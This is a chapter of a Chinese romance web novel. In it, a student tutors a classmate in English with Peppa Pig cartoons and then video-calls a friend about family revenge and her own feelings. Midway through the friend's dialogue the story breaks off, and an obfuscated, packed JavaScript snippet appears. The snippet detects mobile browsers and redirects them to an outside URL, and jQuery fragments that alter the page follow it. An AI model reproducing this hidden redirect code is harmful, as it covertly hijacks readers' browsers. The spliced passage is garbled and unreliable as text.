客厅的灯光只剩下边角六个的镭射灯在工作。


    朦胧的夜色里，两人端坐在沙发上，七十寸屏幕的彩色荧光落在两人的脸颊。


    空气中还未滋生的暧昧。


    随着“噔噔噔”的音乐节奏湮灭，一只粉色的吹风机猪脑袋鼻子朝右，眼睛斜着向前，一开口都能让爷爷想起自己当孙子那会儿的时光。


    “I’mpeppapig”


    “Thisismylittlebrotherge”


    “Thisismummypig”


    “Andthisismydaddypig”


    汀砚看着屏幕上四个大吹风机，脑门上划下三道横线。


    他这辈子都没想到有天他会和女生坐在屏幕前，看着四只竖直站立的猪讲故事。余光偷瞟旁边，看到乐落一本正经的脸，咽下自己要说的话。


    他原本是怀疑乐落是报复自己，又觉得乐落不屑于做这么幼稚的事，绷着唇角听着英文中夹杂的猪叫声。


    故事只有五分钟，情节用一句话就能概括：下雨后两只猪在草坪上踩泥坑。


    几乎都是日常的对话，通俗易懂，最后以一家四口躺在地上，用猪叫的笑声结尾。


    乐落等影片结束。


    她按下暂停，扭过头解释：“我找了好几个美剧，只有《小猪佩奇》的词汇相对最简单，时长也合适。”


    汀砚看着粉色吹风机：“理解。”


    乐落是正经的补课，一切都是以提高成绩为前提。


    她肯定不是只用来娱乐：“再看过一遍之后，在第二遍时你需要看着字幕翻译出意思，第三遍的时候我会关掉声音，你需要根据字幕进行配音。”


    她这么做当然有自己的考量。


    首先在第一遍时，汀砚会对整个事有基本的概念，在这过程中需要快速找到自己不认识的单词，查阅之后完成第二遍的翻译，而在第三遍时，会训练他的发音。


    重点是三遍之后的任务。


    她继续道：“这三遍结束之后，你需要根据你的记忆，尽可能将故事出现的对话复述下来，完成度必须达到百分之九十以上，否则需要一遍遍看短片，直到基本将所有对话背诵下来。”


    从汀砚上午背诵单词的过程中，她便注意到汀砚并不擅长记忆，而单词是英语避不开的坎，相当于基石，一旦单词量不达标，后续无法开展。


    她不认为汀砚天生不会背单词，很有可能是他先入为主认定英语是他的薄弱项，这个观点从小学就开始，她很难用一两句让汀砚转变态度，只能以事实出发，让汀砚认为自己能克服，从而树立起对英语的自信心。


    很明显，汀砚本能怀疑自己的能力：“小老师，看没问题，翻译也能克服，读下来我也能试试。”


    他停顿了下道：“就是背诵，你也看到我上午的挣扎，一百个单词还是在你分组之后才勉强完成，对话我真的怕自己不行。”


    他的反应在乐落的预料中：“我既然敢给你布置，说明这件事在你的能力范围内。”


    “五分钟的视频掐头去尾也就四分钟。”她从旁边拿出早打印好的台词：“我帮你数了一下，只有四十三句台词，像nono这样简短的对话共六句，人的潜能是无限的，你要相信自己。”


    汀砚仍犹豫：“可是……”


    乐落打断她：“就算能力有限，我们有的是时间，学习本身就是个循序渐进的过程，今天你只要完成这一个视频的任务量，就算结束。”


    汀砚不了解乐落，但这样的表情，他在汀建宏脸上见过，与其苦哈哈劝对方改变主意，还不如下功夫完成指令。


    他想明白也不再多说，点下头示意可以开始。


    诚如乐落所说。


    全篇几乎都是初中以及小学的词汇，他就算英语差到一定程度，再怎么也是准高三生，如果连这都翻译不行，就真的可以重修小学英语了。


    更何况还配画面，看图说话都难不住小学生，他可是堂堂高中生。


    翻译过程中，他毫无压力，字正腔圆，他甚至有闲心配上不同的语调。


    乐落在播放第三遍时，将电视调成了静音。


    汀砚的发音并没有受第一任英语老师“鸟老师”的影响，算是不幸中的万幸，后来汀建宏意识到英语的重要性后，请了不少老师补习过，亲自上门或是网络授课都有，每位老师在了解过他的分数后，都是从音标开始教的。


    别的不说，他在发音上挑不出毛病，前三项的任务只用了二十分钟，对他来说是游刃有余，简单到他都快认为自己都要征服英语了。


    乐落也罕见地夸了一下：“还不错。”


    汀砚的尾巴都要翘上天，得意之余还不忘吹捧回去：“都是小老师教得好。”


    乐落笑意很浅：“最后背诵，你想现在背，还是再看一遍视频？”


    汀砚重建心系，胜负欲被勾出来：“挑战。”


    都是些张口就来的话，他闭上眼，试图让动画在脑海中重现：“Itisrainingtoday，so,peppaandgecannotplayooutside……”


    画面在三分之一的进度时，暂停，转起了加载的圆圈。


    “佩奇和乔治玩得很开心”。


    他试图翻译成汉语唤醒沉睡的记忆。


    没用。


    他脑海里只剩下两只猪在泥坑里开心地蹦跶，怎么也想不起后续。


    继续为难自己纯粹是浪费时间。


    他向现实低下高傲的脑袋，睁开眼时已接受了现实：“我需要再看一遍。”


    “没问题。”乐落低垂眉眼，看着季今瑶播来的未接来电，将遥控器递给他，站起身：“我去卧室打个电话，你随意就好。”


    汀砚应了声。


    按下播放的同时，他像是想起什么重要的事，拿出手机发了条短信，才抬眼，盯着屏幕上四只粉猪，黑眸里燃起烈火。


    他就不信搞不定英语，难不成他还搞不定这四只猪。


    “瑶瑶，”乐落到了卧室轻声关上门。


    按亮灯后，她看着视频里正往嘴里填葡萄的季今瑶，看这表情无疑是打了胜仗：“心情不错。”


    季今瑶将水果盘放在床头柜，半躺在床上，美滋滋道：“这些天我让厨房阿姨所有的菜都放了辣椒，那小网红吃不了辣，但我那负心汉爹非要营造出一副父慈子孝的假象，两人强撑着吃了三天，小网红人家年轻，吃辣顶多是上点火，那负心汉就不一样了，吃的胃疼进了医院，总算是不在我面前晃了。”


    乐落担忧道：“你不是也吃不了辣。”


    她明白季今瑶对季汉康的怨怼，也并不同情季汉康的遭遇，只是胃疼而已，这种痛苦程度不及她蓝姨当年的万分之一。


    她只是担心季今瑶在报复的同时，不小心把自己搭进去。


    “你放心，我又不傻。”


    季今瑶俏皮地眨下眼：“我都没怎么吃，拼命给负心汉夹菜，那负心汉没享受过这待遇，眼笑成了一条缝


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955122|191647||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，夹啥吃啥，那小网红拦都拦不住，气得直瞪我。”


    她说完后，紧跟着话锋一转：“对了，你那边怎么样了？那臭小子还规矩吗？”


    乐落想起一墙之隔的客厅，汀砚正对着四只猪研究，忍不住翘起唇：“他人品没问题，有问题的只有英语。”


    “落落，你笑了！”季今瑶号称比乐落本人还了解乐落，自然没错过她的微表情：“你们发生了什么？提起他你竟然笑了！”


    乐落压根没意识到，听到对面的起哄声，调小音量的同时抿了下唇，嘴硬：“我没有。”


    “你所有的一切都逃不过我的眼睛。”


    季今瑶抬起手，弯起食指和中指，指了眼睛后又指向屏幕：“你绝对笑了！还不承认，到底发生了什么？！以前你可是冰雪女王，提谁的名字都不好使，也就只有说起那毛猴，才会笑一下！”


    乐落心一惊，她当然知道季今瑶没骗她，只是她没办法给出一个合理的解释，慌乱中扯出蹩脚的借口：“我这嘴都紧绷一天了，刚刚估计是抽了一下。”


    说完。


    她还上手捏捏双颊。


    季今瑶对汀砚的意见无非是不中用，搞什么不好，学着乐落搞不靠谱的网恋，原本指望着乐落眼前多了帅哥晃悠，没准会把乐落铺在网恋的心晃悠回来。


    比起看不见摸不着的毛猴，她肯定站在汀砚这边。


    至少脸是实打实的帅气，家境也殷实，虽然是异地，可说服汀砚为爱留在栖淮肯定比祈祷毛猴是个帅哥，要靠谱一万倍。


    她眼珠转了几圈，有意无意地套着话：“刚刚没接到我电话，你不会是和他在一起吧？”


    何止刚刚。


    汀砚现在就在客厅里看动画片呢。


    乐落本能想说不是，可话到唇边，才拧着眉思考自己为何撒谎。


    撒谎不就是心虚，她强撑着一口气，脸颊僵硬：“我在帮他补英语。”


    季今瑶旁敲侧击：“他英语什么水平？”


    乐落诚实道：“不如你的一半。”


    季今瑶的英语水平刚够到及格线，她心底觉得汀砚挺菜，嘴上又是另一回事：“啊？四五十？”


    见乐落点头，她心凉了大半截：“还是英语？选择题那么多，答题卡踩一脚也能踩出这个成绩吧？”


    巧了，乐落当初也是这么想。


    季今瑶对汀砚的印象分刚因乐落的那抹笑涨到及格，眼下听到不堪入目的成绩又掉到不及格。


    她的闺蜜可是省状元，怎么着也不能配一傻子：“他，还有的救吗？”


    乐落不敢打包票：“不太清楚，只能尽力而为。”


    这句话像一盆冷水兜头而下，浇灭了季今瑶的所有热情：“真是可惜……”


    乐落装作没听到，想着客厅里待着的人，开口结束话题：“瑶瑶等有空了说，汀，”


    陌生的名字在她唇边转了几个弯：“汀砚，还在我家。”


    季今瑶瞪大眼：“这么晚了？还真是废寝忘食啊！幸好干爸想得周全，在客厅安了监控，不然我可不放心你们共处一室。”


    乐落只笑。


    季今瑶知道什么是正事，对着镜头摆手：“行吧我就不耽误你了，不过你也别太有压力，每个人都有自己的造化。”


    乐落答应后摆手挂掉了视频，才看到企鹅号有个红色的未读消息。


    企鹅号大多是免打扰的群聊，这个点给她发消息也就是那个人了。


    点开，果然。


    是置顶的特别关心。